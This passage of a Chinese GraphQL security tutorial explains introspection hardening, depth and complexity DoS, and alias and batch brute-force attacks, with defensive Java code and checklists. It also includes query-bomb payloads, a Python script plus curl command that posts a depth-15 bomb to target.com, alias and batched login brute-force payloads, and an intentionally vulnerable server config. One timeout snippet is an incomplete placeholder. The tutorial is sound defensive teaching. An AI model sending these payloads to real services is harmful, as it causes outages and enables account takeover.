    print("  ☐ Schema 里是否有 passwordHash / internal* / cost 等敏感字段")
    print("  ☐ 所有 Mutation 是否都做了鉴权(重点看 delete*/updateRole*/refund*)")
    print("  ☐ 是否开启了查询深度与复杂度限制(见 3.3 节)")


if __name__ == "__main__":
    main()

3.2.7 防御清单 + 面试问答

✅ GraphQL 内省安全 Checklist

# 检查项 怎么做 优先级
1 生产环境关闭内省 introspection: NODE_ENV !== 'production' / Instrumentation 拦截 ★★★
2 关闭字段建议(Did you mean) 自定义 DataFetcherExceptionHandler 抹掉 suggestion ★★★
3 下线调试页面 /graphiql、/playground、/altair、/voyager 返回 404 ★★★
4 敏感字段不进对外 Schema 分层 Schema,构建期裁剪 ★★★
5 网关层兜底拦截 __schema/__type Nginx / APISIX / Kong 规则 ★★
6 敏感字段做字段级授权(即便裁剪了也要做) 见 3.6 节 ★★★
7 内省请求告警 监控 __schema 出现频率,突然增多 = 有人在扫 ★★
8 Persisted Query 白名单 生产只接受预注册的查询 hash ★★(最彻底)

面试题速答:

Q:GraphQL 的内省(Introspection)是什么?有什么安全风险?怎么防?

A(口述版,30 秒): “内省是 GraphQL 的标准特性,客户端发 __schema 查询,服务端就把完整 Schema 返回, 本来是给 GraphiQL 做代码补全和自动生成客户端用的。 安全风险在于它把整个数据模型、所有字段名、所有 Mutation 入口一次性暴露给攻击者, 是所有 GraphQL 攻击的前置条件 —— 攻击者不用 Fuzz,一条命令就拿到地图。 特别是 Schema 里经常混着 internalRiskScore、passwordHash、cost 这类字段, 开发者以为’前端不显示就没人知道’,实际上内省里一览无余。

防护要三层: 第一层生产关内省(Apollo 里 introspection: false,graphql-java 用 Instrumentation 拦), 同时关掉’Did you mean’字段建议 —— 否则攻击者靠错误提示也能把字段名问出来; 第二层下线调试页面(/graphiql、/playground); 第三层也是最治本的,敏感字段压根不要进对外的 Schema,用分层 Schema 在构建期裁掉, 再加上字段级授权做最后一道闸。

★ 加分点:关内省不是万能的 —— 前端 JS 里可能就有 Schema(代码生成产物), 开了 persisted query 但服务端允许回退到传完整 query,那白名单也等于没开。 所以真正治本的是字段级授权:即便攻击者知道了字段名,查出来也是 null 或者报权限错误。“


3.3 深度攻击与复杂度攻击 —— 一条查询打死服务器

3.3.1 一句话定义 + 生活类比

深度攻击(Depth Attack)/ 复杂度攻击(Complexity Attack): 攻击者构造一个嵌套极深或扇出极大的 GraphQL 查询, 让服务端在一次请求里执行天文数字次数的 Resolver 调用和数据库查询, 从而耗尽 CPU / 数据库连接池 / 内存,造成 DoS。

生活类比(★ 这个比喻最形象):

假设你去政府部门办事。正常流程:你说“我要查我的社保”,窗口查一下给你,1 分钟。

现在有个恶意市民,他说: “我要查我的社保,以及我社保关联的所有单位,以及每个单位的所有员工, 以及每个员工的社保,以及每个员工社保关联的单位,以及每个单位的员工……” 重复 20 层。

窗口工作人员是个老实人,你说什么他就查什么,于是他开始一层一层往下查:

  • 第 1 层:1 次查询
  • 第 2 层:假设每人关联 10 个单位 → 10 次
  • 第 3 层:每单位 100 员工 → 1000 次
  • 第 4 层:1000 员工的社保 → 10,000 次
  • ……
  • 第 20 层:10^19 次

整个政务大厅被这一个人占满,其他市民全办不了事。

这就是 GraphQL 的深度攻击。REST 里不可能发生这种事(一个接口干一件事), 但 GraphQL 里,客户端有权自己决定嵌套多少层。

3.3.2 ★ 攻击原理:图是连通的,指数级放大

先理解 GraphQL 的“图”为什么危险:

# 一个看起来很无害的 Schema —— 互相引用,形成【环】
type User {
  id: ID!
  name: String!
  orders: [Order!]!      # 用户 → 订单
}

type Order {
  id: ID!
  amount: Float!
  user: User!            # 订单 → 用户(★ 反向引用,形成环!)
  items: [Item!]!        # 订单 → 商品
}

type Item {
  id: ID!
  product: Product!      # 商品 → 产品
}

type Product {
  id: ID!
  reviews: [Review!]!    # 产品 → 评论
}

type Review {
  id: ID!
  author: User!          # 评论 → 用户(★ 又回到 User,环闭合了!)
}

★ 攻击 Payload 1:循环引用放大(最经典)

# 利用 User → Order → User 的环,无限套娃
query DeepLoop {
  user(id: "1") {
    orders {          # 1 个用户 → 20 个订单
      user {          # 每个订单 → 1 个用户(又是同一个)
        orders {      # 又 20 个订单
          user {
            orders {
              user {
                orders {
                  user {
                    orders { id }   # ... 继续套
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

放大计算(假设每个用户 20 个订单,每个订单 1 个用户):

嵌套层数 Resolver 调用次数 数据库查询次数
1 层 1 1
2 层 20 21
3 层 400 421
5 层 160,000 ~168,421
8 层 25,600,000,000 ~2.7 × 10^10
10 层 1.024 × 10^13 ~1.08 × 10^13

10 层嵌套 = 10 万亿次数据库查询。 就算每次查询只要 0.1 毫秒,也要 34 年才能跑完。 而这条“炸弹”的请求体只有 不到 500 字节。

★ 这就是 GraphQL DoS 的可怕之处:请求体极小,破坏力极大,性价比极高。

★ 攻击 Payload 2:扇出攻击(Fan-out,不靠嵌套靠宽度)

# 不用嵌套,用"宽度"打:一次要 100 万条数据
query WideFanout {
  allUsers(first: 100000) {        # ★ first 参数没上限
    id
    name
    email
    phone
    orders(first: 1000) {          # 每个用户 1000 个订单
      id
      amount
      items(first: 100) {          # 每个订单 100 个商品
        id
        product {
          name
          reviews(first: 100) {    # 每个商品 100 条评论
            content
            author { name }
          }
        }
      }
    }
  }
}

计算:100,000 × 1,000 × 100 × 100 = 10^12 条评论记录。 即便只返回一个空数组,光是构造对象 + 序列化 JSON 就能把内存打爆。

★ 攻击 Payload 3:多入口叠加(绕过“单查询深度限制”)

# 有些系统只限制"单个查询的深度",但一次请求可以写【多个命名操作】
# 服务端如果全部执行,深度限制就被绕过了
query A { user(id:"1") { orders { user { orders { user { orders { id }}}}}}}
query B { user(id:"2") { orders { user { orders { user { orders { id }}}}}}}
query C { user(id:"3") { orders { user { orders { user { orders { id }}}}}}}
# ... 写 50 个

⚠️ 注意:GraphQL 规范规定,一次请求如果包含多个匿名操作是不合法的; 但多个命名操作是允许出现在文档里的,服务端只执行其中一个(由 operationName 指定)。 不过有些实现会执行全部 —— 这就是绕过点。 所以除了深度限制,还要限制单次请求的查询数量(通常强制为 1)。

3.3.3 漏洞代码长什么样(没做任何限制的“裸奔”服务)

/**
 * ❌❌❌ 典型漏洞配置:Spring Boot + graphql-java,什么限制都没加
 *
 * 这是 90% 的 GraphQL 服务上线时的状态 —— 能用,但完全不设防
 */
@Configuration
public class VulnerableGraphQLConfig {

    @Bean
    public GraphQL graphQL(GraphQLSchema schema) {
        return GraphQL.newGraphQL(schema)
                // ❌ 没有 MaxQueryDepthInstrumentation
                // ❌ 没有 MaxQueryComplexityInstrumentation
                // ❌ 没有超时
                // ❌ 没有 DataLoader(N+1 全开,见 3.5 节)
                .build();
    }

    @Bean
    public RuntimeWiring runtimeWiring(UserRepository userRepository,
                                       OrderRepository orderRepository) {
        return RuntimeWiring.newRuntimeWiring()
                .type("Query", b -> b
                        // ❌ first 参数没有上限校验,传 100 万也照查
                        .dataFetcher("allUsers", env -> {
                            int first = env.getArgument("first");
                            return userRepository.findAll(PageRequest.of(0, first));
                        })
                        .dataFetcher("user", env ->
                                userRepository.findById(env.getArgument("id")))
                )
                .type("User", b -> b
                        // ❌ 没有 DataLoader,每个 User 都要查一次 orders
                        //    N 个用户 = N 次数据库查询(N+1 问题)
                        .dataFetcher("orders", env -> {
                            User u = env.getSource();
                            return orderRepository.findByUserId(u.getId());
                        })
                )
                .type("Order", b -> b
                        // ❌ 反向引用,和 User.orders 形成环,且无深度限制
                        .dataFetcher("user", env -> {
                            Order o = env.getSource();
                            return userRepository.findById(o.getUserId());
                        })
                )
                .build();
    }
}

攻击者一条命令就能打挂:

# 生成一个深度 15 的循环嵌套查询
python3 - <<'EOF'
def build(depth):
    if depth == 0:
        return "{ id }"
    return "{ orders { user %s } }" % build(depth - 1)

query = "query Evil { user(id:\"1\") " + build(15) + " }"
payload = '{"query":"' + query.replace('"', '\\"') + '"}'
print(payload[:200], "...")
open("bomb.json","w").write(payload)
EOF

# 发送
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  --data @bomb.json \
  -w "\n耗时: %{time_total}s\n"

# 服务端表现:
#   CPU 100%、数据库连接池打满、GC 疯狂、接口全超时
#   → 整个站点不可用(DoS 成功)

3.3.4 三种防御方案(从粗到细,必须叠加)

✅ 方案 1:深度限制(Max Query Depth) —— 最简单,但不够

原理:数查询嵌套了几层,超过阈值直接拒绝。

/**
 * ✅ 防御 1:查询深度限制
 *
 * ★ 这是【第一道闸】,简单粗暴但有效
 * ★ 缺点:只看深度,不看宽度 —— 一个 3 层但要 100 万条数据的查询照样能打死你
 *        所以必须和方案 2(复杂度)一起用
 */
@Configuration
public class GraphQLDepthConfig {

    /** 生产环境建议值:10~15。太大没意义,太小影响正常业务 */
    @Value("${graphql.security.max-depth:12}")
    private int maxDepth;

    @Bean
    public Instrumentation maxQueryDepthInstrumentation() {
        log.info("[GraphQL安全] 查询深度限制 = {}", maxDepth);
        return new MaxQueryDepthInstrumentation(maxDepth);
    }

    /**
     * ★ 进阶:自定义深度限制,支持"按类型/按字段"差异化配置
     *   有些业务字段天生就要深(比如树形菜单),一刀切会有误伤
     */
    @Bean
    public Instrumentation customDepthInstrumentation() {
        return new SimpleInstrumentation() {
            @Override
            public InstrumentationContext<ExecutionResult> beginExecuteOperation(
                    InstrumentationExecuteOperationParameters parameters) {

                OperationDefinition op = parameters.getExecutionContext().getOperationDefinition();
                int depth = calculateDepth(op.getSelectionSet(), 0);

                // ★ 按操作类型差异化:Query 严一点,Mutation 宽松一点
                int limit = switch (op.getOperation()) {
                    case QUERY -> maxDepth;
                    case MUTATION -> maxDepth + 3;
                    case SUBSCRIPTION -> maxDepth;
                };

                if (depth > limit) {
                    log.warn("[GraphQL安全] 拒绝超深查询 depth={} limit={} op={}",
                             depth, limit, op.getName());
                    throw new AbortExecutionException(
                        GraphqlErrorBuilder.newError()
                            .message("查询嵌套过深(%d 层),最大允许 %d 层".formatted(depth, limit))
                            .extensions(Map.of("code", "QUERY_TOO_DEEP"))
                            .build());
                }
                return SimpleInstrumentationContext.noOp();
            }

            /** 递归计算选择集深度 */
            private int calculateDepth(SelectionSet selectionSet, int currentDepth) {
                if (selectionSet == null || selectionSet.getSelections().isEmpty()) {
                    return currentDepth;
                }
                int max = currentDepth;
                for (Selection<?> sel : selectionSet.getSelections()) {
                    int d = currentDepth;
                    if (sel instanceof Field f) {
                        // ★ 叶子字段(无子选择)不加深度
                        if (f.getSelectionSet() != null && !f.getSelectionSet().getSelections().isEmpty()) {
                            d = calculateDepth(f.getSelectionSet(), currentDepth + 1);
                        } else {
                            d = currentDepth + 1;
                        }
                    } else if (sel instanceof InlineFragment frag) {
                        d = calculateDepth(frag.getSelectionSet(), currentDepth);
                    } else if (sel instanceof FragmentSpread) {
                        // ★ Fragment 会把深度"藏"起来 —— 攻击者的常用手法
                        d = currentDepth + 1;   // 保守估计,后面用 QueryTraverser 更准
                    }
                    max = Math.max(max, d);
                }
                return max;
            }
        };
    }
}

⚠️ 深度限制的坑:Fragment 可以隐藏深度

query {
  user(id:"1") { ...Deep }      # 看起来只有 2 层
}
fragment Deep on User {
  orders { user { ...Deep } }   # ★ 递归 Fragment!实际深度无限
}

有些老版本的深度限制实现不展开 Fragment,就会被这个手法绕过。 graphql-java 的 MaxQueryDepthInstrumentation 已经处理了 Fragment(会展开并检测循环), 但如果你自己写,一定要用 QueryTraverser 而不是手动递归。 ★ 另外一定要检测“递归 Fragment”(自己引用自己),直接拒绝。

✅ 方案 2:复杂度分析(Query Complexity) —— ★ 真正有效的方案

原理:给每个字段定一个成本(cost),执行前先算出整条查询的总成本,超过预算就拒绝。

生活类比:

深度限制 = “你最多只能点 3 层高的汉堡”。 复杂度限制 = “你这顿饭总共预算 100 块,超了不许点”。

后者更合理:你可以点一个 5 层的汉堡(只要总价不超), 但不能点 100 个 1 层的汉堡(虽然每层都很浅,但总量超了)。

graphql-java 内置实现:

/**
 * ✅ 防御 2:查询复杂度限制(★ 推荐,比深度限制更科学)
 *
 * 原理:
 *   1. 给每个字段配一个复杂度值(默认是 1)
 *   2. 列表字段(返回数组的)要乘以分页大小参数(first/limit)
 *   3. 递归累加,算出总复杂度
 *   4. 超过 maxComplexity 直接拒绝
 *
 * ★ 关键:列表字段必须乘分页参数,否则 [Order!]! 只算 1 分,
 *         攻击者 first=100000 也不影响复杂度 → 限制形同虚设
 */
@Configuration
@Slf4j
public class GraphQLComplexityConfig {

    @Value("${graphql.security.max-complexity:5000}")
    private int maxComplexity;

    @Bean
    public Instrumentation maxQueryComplexityInstrumentation() {
        log.info("[GraphQL安全] 查询复杂度上限 = {}", maxComplexity);

        return new MaxQueryComplexityInstrumentation(maxComplexity,
            // ★ 字段复杂度计算器:定义每个字段值多少"分"
            (QueryComplexityInfo info) -> {
                // ① 基础分:普通字段 1 分
                int base = 1;

                // ② 分页参数乘数:first / limit / size / count
                int multiplier = getPaginationMultiplier(info.getArguments());

                // ③ 特殊字段加权(数据库查询贵的字段多算点)
                String fieldName = info.getFieldName();
                String typeName = info.getParentTypeName();
                int weight = getFieldWeight(typeName, fieldName);

                return base * multiplier * weight;
            });
    }

    /** 从参数里取分页大小 */
    private int getPaginationMultiplier(Map<String, Object> args) {
        for (String key : List.of("first", "last", "limit", "size", "count", "pageSize")) {
            Object v = args.get(key);
            if (v instanceof Number n) {
                int size = n.intValue();
                // ★ 分页参数本身也要有上限(防止 first=2147483647)
                if (size > 1000) {
                    throw new AbortExecutionException(
                        GraphqlErrorBuilder.newError()
                            .message("分页参数 " + key + " 超过上限 1000")
                            .extensions(Map.of("code", "PAGINATION_TOO_LARGE"))
                            .build());
                }
                return Math.max(1, size);
            }
        }
        return 1;   // 不是列表字段,乘数 = 1
    }

    /** 按字段给权重 —— 越"贵"的字段分越高 */
    private int getFieldWeight(String typeName, String fieldName) {
        // ★ 重查询字段(要查数据库 / 调外部服务 / 复杂计算)
        Map<String, Integer> heavy = Map.of(
                "Query.allUsers", 10,          // 全表扫描
                "Query.searchOrders", 20,      // 搜索,走 ES
                "User.orders", 5,              // 关联查询
                "Product.reviews", 5,
                "Query.aggregateReport", 50,   // 聚合报表,最贵
                "Query.exportData", 100        // 导出,最最贵
        );
        String key = typeName + "." + fieldName;
        return heavy.getOrDefault(key, 1);
    }
}

★ 手动实现一个更可控的复杂度分析器(推荐,因为可以精细控制 + 打点监控):

/**
 * 自定义复杂度分析器 —— 支持:
 *   ① 按字段配置权重(注解驱动)
 *   ② 分页参数乘数
 *   ③ Fragment 展开
 *   ④ 复杂度打点(上报 Prometheus,用于容量规划)
 *   ⑤ 按用户等级差异化配额(VIP 可以复杂度高一点)
 *
 * ★ 面试加分点:复杂度不只是"限制",更是"容量规划的眼睛"
 *   把 P99 复杂度打到监控上,你能提前发现"哪个客户端在滥用"
 */
@Component
@Slf4j
public class QueryComplexityAnalyzer implements Instrumentation {

    private final MeterRegistry meterRegistry;
    private final int maxComplexity;

    public QueryComplexityAnalyzer(MeterRegistry meterRegistry,
                                   @Value("${graphql.security.max-complexity:5000}") int maxComplexity) {
        this.meterRegistry = meterRegistry;
        this.maxComplexity = maxComplexity;
    }

    @Override
    public InstrumentationContext<ExecutionResult> beginExecuteOperation(
            InstrumentationExecuteOperationParameters parameters) {

        ExecutionContext ctx = parameters.getExecutionContext();
        OperationDefinition op = ctx.getOperationDefinition();

        // ① 计算复杂度
        ComplexityResult result = analyze(op, ctx);

        // ② 按用户等级取配额
        int quota = getQuotaByUserTier(ctx);

        // ③ 校验
        if (result.total > quota) {
            log.warn("[GraphQL安全] 拒绝高复杂度查询 total={} quota={} op={} userTier={}",
                     result.total, quota, op.getName(), getCurrentTier(ctx));

            meterRegistry.counter("graphql.query.rejected",
                    "reason", "complexity",
                    "operation", op.getName() == null ? "anonymous" : op.getName()).increment();

            throw new AbortExecutionException(
                GraphqlErrorBuilder.newError()
                    .message("查询过于复杂(%d),当前配额 %d。请减少字段或分页大小".formatted(result.total, quota))
                    .extensions(Map.of("code", "QUERY_TOO_COMPLEX",
                                       "complexity", result.total,
                                       "quota", quota))
                    .build());
        }

        // ④ 打点监控(★ 容量规划用)
        meterRegistry.summary("graphql.query.complexity",
                "operation", op.getName() == null ? "anonymous" : op.getName())
                .record(result.total);

        // ⑤ 慢查询预警(复杂度 > 80% 配额就告警)
        if (result.total > quota * 0.8) {
            log.warn("[GraphQL安全] 高复杂度查询预警 total={} quota={} detail={}",
                     result.total, quota, result.detail);
        }

        return SimpleInstrumentationContext.noOp();
    }

    private ComplexityResult analyze(OperationDefinition op, ExecutionContext ctx) {
        // ★ 用 graphql-java 官方的 QueryTraverser,它会自动展开 Fragment 并处理循环
        QueryTraverser traverser = QueryTraverser.newQueryTraverser()
                .schema(ctx.getGraphQLSchema())
                .document(ctx.getDocument())
                .operationName(op.getName())
                .variables(ctx.getVariables())
                .build();

        AtomicInteger total = new AtomicInteger(0);
        Map<String, Integer> byField = new HashMap<>();

        traverser.visitPreOrder(new QueryVisitorStub() {
            @Override
            public TraversalControl visitField(QueryVisitorFieldEnvironment env) {
                int cost = calculateFieldCost(env);
                total.addAndGet(cost);
                byField.merge(
                    env.getParentType().getName() + "." + env.getField().getName(),
                    cost, Integer::sum);
                return TraversalControl.CONTINUE;
            }
        });

        return new ComplexityResult(total.get(), byField);
    }

    /**
     * 计算单个字段的成本
     *
     * 公式:cost = 基础权重 × 分页乘数 × 深度加成
     */
    private int calculateFieldCost(QueryVisitorFieldEnvironment env) {
        GraphQLFieldDefinition fieldDef = env.getFieldDefinition();
        GraphQLType parentType = env.getParentType();
        String fieldName = env.getField().getName();

        // ① 基础权重:优先读 Resolver 方法上的 @QueryCost 注解,没有就用默认
        int weight = resolveCostAnnotation(fieldDef);
        if (weight <= 0) {
            weight = getDefaultWeight(parentType, fieldName, fieldDef);
        }

        // ② 分页乘数
        int multiplier = 1;
        Map<String, Object> args = env.getArguments();
        for (String key : List.of("first", "last", "limit", "size", "pageSize")) {
            Object v = args.get(key);
            if (v instanceof Number n) {
                multiplier = Math.max(1, Math.min(n.intValue(), 1000));
                break;
            }
        }

        // ③ 深度加成:越深的字段成本越高(鼓励扁平查询)
        int depth = getDepth(env);
        double depthFactor = 1.0 + (depth * 0.1);

        return (int) Math.ceil(weight * multiplier * depthFactor);
    }

    /** 读 Resolver 方法上的 @QueryCost 注解 */
    private int resolveCostAnnotation(GraphQLFieldDefinition fieldDef) {
        DataFetcher<?> df = fieldDef.getDataFetcher();
        if (df instanceof DataFetcherAdapter<?> adapter) {
            // graphql-java-kickstart 的注解式 Resolver
            Method m = adapter.getMethod();
            if (m != null && m.isAnnotationPresent(QueryCost.class)) {
                return m.getAnnotation(QueryCost.class).value();
            }
        }
        return 0;
    }

    /** 默认权重:列表字段 = 2,其余 = 1 */
    private int getDefaultWeight(GraphQLType parentType, String fieldName,
                                 GraphQLFieldDefinition def) {
        GraphQLType raw = GraphQLTypeUtil.unwrapAll(def.getType());
        boolean isList = GraphQLTypeUtil.isList(
                GraphQLTypeUtil.unwrapNonNull(def.getType()));
        return isList ? 2 : 1;
    }

    /** 按用户等级给配额 */
    private int getQuotaByUserTier(ExecutionContext ctx) {
        String tier = getCurrentTier(ctx);
        return switch (tier) {
            case "INTERNAL" -> maxComplexity * 10;    // 内部服务,配额放大
            case "VIP"      -> maxComplexity * 3;
            case "TRIAL"    -> maxComplexity / 5;     // 试用用户,严格限制
            default         -> maxComplexity;
        };
    }

    private String getCurrentTier(ExecutionContext ctx) {
        Object context = ctx.getContext();
        if (context instanceof GraphQLContext gqlCtx) {
            Object tier = gqlCtx.get("userTier");
            if (tier != null) return tier.toString();
        }
        return "NORMAL";
    }

    private int getDepth(QueryVisitorFieldEnvironment env) {
        // 从 SelectionSet 往上数父节点层数
        int depth = 0;
        QueryVisitorFieldEnvironment parent = env.getParentEnvironment();
        while (parent != null) {
            depth++;
            parent = parent.getParentEnvironment();
        }
        return depth;
    }

    /** 自定义注解:在 Resolver 方法上标注查询成本 */
    @Target(ElementType.METHOD)
    @Retention(RetentionPolicy.RUNTIME)
    public @interface QueryCost {
        int value() default 1;
    }

    private record ComplexityResult(int total, Map<String, Integer> detail) {}
}

使用示例(在 Resolver 上标成本):

@Component
public class UserResolver implements GraphQLQueryResolver {

    /** 全表扫描,成本高 */
    @QueryCost(10)
    public List<User> allUsers(int first) {
        return userService.findAll(first);
    }

    /** 走 ES,成本更高 */
    @QueryCost(20)
    public List<Order> searchOrders(String keyword, int first) {
        return searchService.search(keyword, first);
    }

    /** 聚合报表,最贵 */
    @QueryCost(50)
    public Report aggregateReport(DateRange range) {
        return reportService.aggregate(range);
    }

    /** 主键查询,很便宜 */
    @QueryCost(1)
    public User user(String id) {
        return userService.findById(id);
    }
}

✅ 方案 3:超时 + 资源隔离(兜底,必做)

★ 关键认知: 深度限制和复杂度限制都是事前估算,一定会漏(估算不准、字段成本配置错误、下游服务慢)。 所以必须有事中兜底:超时。 没有超时的 GraphQL 服务,等于把系统的生死交给了客户端的查询形状。

/**
 * ✅ 防御 3:超时控制(★ 最后一道防线,必做)
 *
 * 三层超时:
 *   ① 整体查询超时(AbortExecutionException)
 *   ② DataLoader 批量查询超时
 *   ③ 数据库连接/查询超时
 */
@Configuration
public class GraphQLTimeoutConfig {

    /** 整体超时:生产建议 5~10 秒。太长没意义,太短影响正常业务 */
    @Value("${graphql.security.timeout-ms:10000}")
    private long timeoutMs;

    @Bean
    public Instrumentation timeoutInstrumentation() {
        return new SimpleInstrumentation() {

            @Override
            public InstrumentationContext<ExecutionResult> beginExecuteOperation(
                    InstrumentationExecuteOperationParameters parameters) {

                ExecutionContext ctx = parameters.getExecutionContext();
                String opName = ctx.getOperationDefinition().getName();

                // ★ 用 CompletableFuture.orTimeout + 独立线程池,不占用业务线程
                CompletableFuture<Void> timeoutGuard = new CompletableFuture<>();
                ScheduledExecutorService scheduler =
                        Executors.newSingleThreadScheduledExecutor();

                scheduler.schedule(() -> {
                    if (!timeoutGuard.isDone()) {
                        log.error("[GraphQL安全] 查询超时 abort,op={} timeout={}ms",
                                  opName, timeoutMs);
                        // ★ 中断执行
                        ctx.getExecutionStrategy()... // graphql-java 中断机制
                    }
                }, timeoutMs, TimeUnit.MILLISECONDS);

                return new SimpleInstrumentationContext<>() {
                    @Override
                    public void onCompleted(ExecutionResult result, Throwable t) {
                        scheduler.shutdownNow();
                        timeoutGuard.complete(null);
                    }
                };
            }
        };
    }

    /**
     * ★ 更实用的做法:在 Controller 层用 CompletableFuture 包一层超时
     *   (比 Instrumentation 里的中断更可靠,graphql-java 的中断不总是能停掉已经在跑的 DB 查询)
     */
    @Bean
    public Executor graphqlQueryExecutor() {
        ThreadPoolExecutor executor = new ThreadPoolExecutor(
                20, 100, 60L, TimeUnit.SECONDS,
                new ArrayBlockingQueue<>(500),
                new ThreadFactoryBuilder().setNameFormat("gql-query-%d").build(),
                // ★ 拒绝策略:直接拒绝并记日志,绝不 CallerRuns(那会拖死 Tomcat 线程)
                new ThreadPoolExecutor.AbortPolicy());
        return executor;
    }
}
/**
 * ★ 推荐实现:Controller 层超时 + 资源隔离
 */
@RestController
@RequestMapping("/graphql")
@Slf4j
public class GraphQLController {

    private final GraphQL graphQL;
    private final Executor queryExecutor;

    @PostMapping
    public CompletableFuture<ResponseEntity<Map<String, Object>>> execute(
            @RequestBody GraphQLRequest request,
            HttpServletRequest httpRequest) {

        long start = System.currentTimeMillis();

        return CompletableFuture
                // ① 在【独立线程池】里执行,不占用 Tomcat 的 200 个工作线程
                .supplyAsync(() -> graphQL.execute(request.toExecutionInput()), queryExecutor)
                // ② 超时:10 秒后返回错误(注意:只是返回,底层查询要靠 DB 超时兜底)
                .orTimeout(10, TimeUnit.SECONDS)
                .thenApply(result -> {
                    long cost = System.currentTimeMillis() - start;
                    if (cost > 3000) {
                        log.warn("[GraphQL] 慢查询 cost={}ms query={}", cost,
                                truncate(request.getQuery(), 200));
                    }
                    return ResponseEntity.ok(result.toSpecification());
                })
                .exceptionally(ex -> {
                    Throwable cause = ex.getCause();
                    if (cause instanceof TimeoutException) {
                        log.error("[GraphQL] 查询超时,已中断 op={}", request.getOperationName());
                        return ResponseEntity.status(504).body(Map.of(
                                "errors", List.of(Map.of(
                                        "message", "查询超时,请简化查询条件",
                                        "extensions", Map.of("code", "QUERY_TIMEOUT")))));
                    }
                    if (cause instanceof RejectedExecutionException) {
                        // ★ 线程池满了 —— 说明正在被 DoS,快速失败保护自己
                        log.error("[GraphQL] 查询线程池已满,拒绝请求(疑似 DoS)");
                        return ResponseEntity.status(503).body(Map.of(
                                "errors", List.of(Map.of(
                                        "message", "服务繁忙,请稍后重试",
                                        "extensions", Map.of("code", "SERVER_BUSY")))));
                    }
                    log.error("[GraphQL] 执行异常", ex);
                    return ResponseEntity.status(500).body(Map.of(
                            "errors", List.of(Map.of("message", "内部错误"))));
                });
    }

    private String truncate(String s, int max) {
        return s == null ? "" : (s.length() <= max ? s : s.substring(0, max) + "...");
    }
}

3.3.5 三种方案对比 + 组合拳

方案 拦住什么 漏掉什么 实现成本 优先级
深度限制 嵌套套娃(循环引用) 宽度攻击(first=100000) 低(1 行配置) ★★★
复杂度限制 深度 + 宽度 + 字段权重 估算不准的字段 中(要配权重) ★★★
超时 + 资源隔离 所有(兜底) 已消耗的资源 中 ★★★
分页参数上限 first=2147483647 — 极低 ★★★
Persisted Query 白名单 所有(★ 最彻底) 需要客户端配合改造 高 ★★(最彻底但成本最高)

★ 面试金句: “深度限制是第一道闸,简单有效但会被宽度攻击绕过; 复杂度限制是主力,科学但要配权重、会估算不准; 超时是最后一道保险,一定会漏的一定要兜住。 三件事必须一起做,缺一个都有可能被打穿。 如果只能做一件,做超时 —— 因为它兜底的是’所有你没想到的攻击方式’。”

3.3.6 深度/复杂度攻击 —— 防御 Checklist

# 检查项 推荐值 优先级
1 查询深度上限 10~15 ★★★
2 查询复杂度上限 5000(按业务调) ★★★
3 分页参数上限 first ≤ 100,硬上限 1000 ★★★
4 列表字段复杂度必须乘分页大小 必须 ★★★
5 整体查询超时 10 秒 ★★★
6 独立线程池 + 有界队列 + AbortPolicy 队列 500 ★★★
7 禁止递归 Fragment 启动时校验 ★★
8 一次请求只允许一个操作 强制 ★★
9 复杂度打点监控 + P99 告警 Prometheus ★★
10 重查询字段标注 @QueryCost 全量 Resolver ★★
11 数据库层兜底(慢查询 kill) MySQL max_execution_time ★★
12 网关层查询体大小限制 8KB ★

3.4 批量查询攻击与别名攻击 —— 绕过限流、暴力破解加速 1000 倍

3.4.1 一句话定义 + 生活类比

批量查询攻击(Batching Attack):利用 GraphQL 一次请求可以包含多个同名操作的特性, 把本来需要 1000 次请求才能干完的事(比如试 1000 个密码),塞进 1 次请求里。

别名攻击(Aliasing Attack):利用 GraphQL 的字段别名(alias: field)特性, 在同一个查询里重复查询同一个字段无数次,绕过后端的“每字段限流”和“重复查询检测”。

生活类比(★ 这个特别形象):

银行柜台为了防止有人反复试探密码,定了个规矩:每人每天只能来柜台 3 次。

正常攻击者:一天试 3 次密码,一年才能试 1000 次 —— 放弃了。

GraphQL 攻击者:他来了 1 次,但手里拿着一张纸条,上面写着:

第1次尝试:密码 123456
第2次尝试:密码 123457
第3次尝试:密码 123458
...
第1000次尝试:密码 124455

柜员一看,“这是 1 次请求啊”,于是老老实实把这 1000 次全试了一遍。

限流规则(每天 3 次)完全失效 —— 因为它只数“来了几次柜台”,不数“试了几次密码”。

这就是批量查询攻击:请求次数没超,操作次数超了 1000 倍。

3.4.2 ★ 攻击原理:GraphQL 的两个“合法特性”被滥用

特性 1:别名(Alias)—— 同一字段可以查无数次

# 正常用法:一次查两个用户,用别名区分
query {
  alice: user(id: "1") { name }
  bob:   user(id: "2") { name }
}
# 返回:{"data":{"alice":{"name":"Alice"},"bob":{"name":"Bob"}}}
# ★ 恶意用法:同一个字段重复 1000 次,每次参数不同
query BruteForce {
  a1: login(username: "admin", password: "123456") { token }
  a2: login(username: "admin", password: "123457") { token }
  a3: login(username: "admin", password: "123458") { token }
  a4: login(username: "admin", password: "123459") { token }
  # ... 写 1000 行
  a1000: login(username: "admin", password: "124455") { token }
}

一次 HTTP 请求 = 1000 次密码尝试。 而你的限流规则是“每分钟最多 10 次请求” → 完全没触发。

特性 2:批量(Batching)—— 一次 HTTP 请求装多个 GraphQL 操作

// ★ 很多 GraphQL 服务端(尤其是 Apollo)支持"批量请求":
//   请求体是个【数组】,每个元素是一次独立的 GraphQL 操作
[
  {"query": "mutation { login(username:\"admin\", password:\"123456\") { token } }"},
  {"query": "mutation { login(username:\"admin\", password:\"123457\") { token } }"},
  {"query": "mutation { login(username:\"admin\", password:\"123458\") { token } }"},
  ...
  {"query": "mutation { login(username:\"admin\", password:\"124455\") { token } }"}
]

服务端会依次执行数组里的每个操作,然后把结果也打包成数组返回。 这是 Apollo 为了减少 HTTP 往返设计的性能优化(合法用途), 但在攻击者手里就是现成的暴力破解放大器。

★ 组合技:别名 + 批量 = 10 万次尝试

// 数组里放 100 个元素,每个元素里 1000 个别名
// = 1 次 HTTP 请求 = 100,000 次密码尝试
[
  {"query":"{a1:login(u:\"admin\",p:\"000001\"){t} a2:...(1000个)}"},
  {"query":"{a1:login(u:\"admin\",p:\"001001\"){t} a2:...(1000个)}"},
  ...
  {"query":"{a1:login(u:\"admin\",p:\"099001\"){t} a2:...(1000个)}"}
]

实际危害场景(远不止暴力破解):

场景 正常(REST) GraphQL 批量 + 别名
密码爆破 100 次/分钟(被限流) 10 万次/请求
短信验证码轰炸 10 条/分钟(被限流) 1 次请求发 1000 条短信
优惠券/邀请码枚举 逐个试,很慢 1 次请求试 10 万个码
